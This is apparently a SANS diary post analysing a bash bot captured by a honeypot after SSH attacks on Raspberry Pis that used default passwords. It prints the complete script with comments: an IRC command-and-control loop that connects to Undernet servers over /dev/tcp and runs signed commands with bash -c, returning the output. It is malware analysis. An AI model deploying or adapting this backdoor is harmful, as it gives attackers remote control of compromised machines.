Two things that will never die: bash scripts and IRC!
Last week, Brock Perry, one of our SANS.edu undergraduate students, came across a neat bash script uploaded to the honeypot as part of an attack. I am sure this isn't new, but I never quite saw something like this before myself.
The bash script implements a basic IRC-based command and control channel, all in bash. It even verifies commands using digital signatures. The attack targeted Raspberry Pis via SSH using the default password. Raspberry Pis have not enabled ssh by default in years, but I guess there are still some out here that have not been taken over yet. Brock put together an excellent graphic illustrating the attack:
But the real gem here is the "$BOT" bash script which is part of the green section in the diagram. I added comments to the script below.
#!/bin/bash
# use the letter "a" followed by the last few digits of the md5sum of "uname -a" as IRC NICK.
# Not great, I think. Many systems will have the same kernel version and possibly the same hostname.
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
# main "IRC Loop"
while [ true ]; do
# connect to a random Undernet server
arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
# poor man's Netcat, just pipe to /dev/tcp
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# basic IRC login procedure. Send "NICK" and "USER"
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop after connected
while [ true ]; do
# wait for messages to come in
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
# if it is a PING, reply with the correct PONG
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
# PRIVMSG is where it gets interesting. These may be commands.
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3) # This is the "hash" (signature)
privmsg_data=$(echo $msg_in| cut -d':' -f 4). # the message
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1) # the user it came from
# calculate the MD5 hash of the message and compare to the signature
# the attacker sent the public key file earlier.
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
# if it all works out: execute the command and reply with the output
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
I am sure this code isn't very robust, and I will not "ding" them on using MD5. It is probably good enough, and I always appreciate a neat tight bash script. Thanks to whoever wrote this to entertain me. (and thanks to Brock for finding this)
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Application Security: Securing Web Apps, APIs, and Microservices | Online | US Eastern | Jan 27th - Feb 1st 2025 |
Comments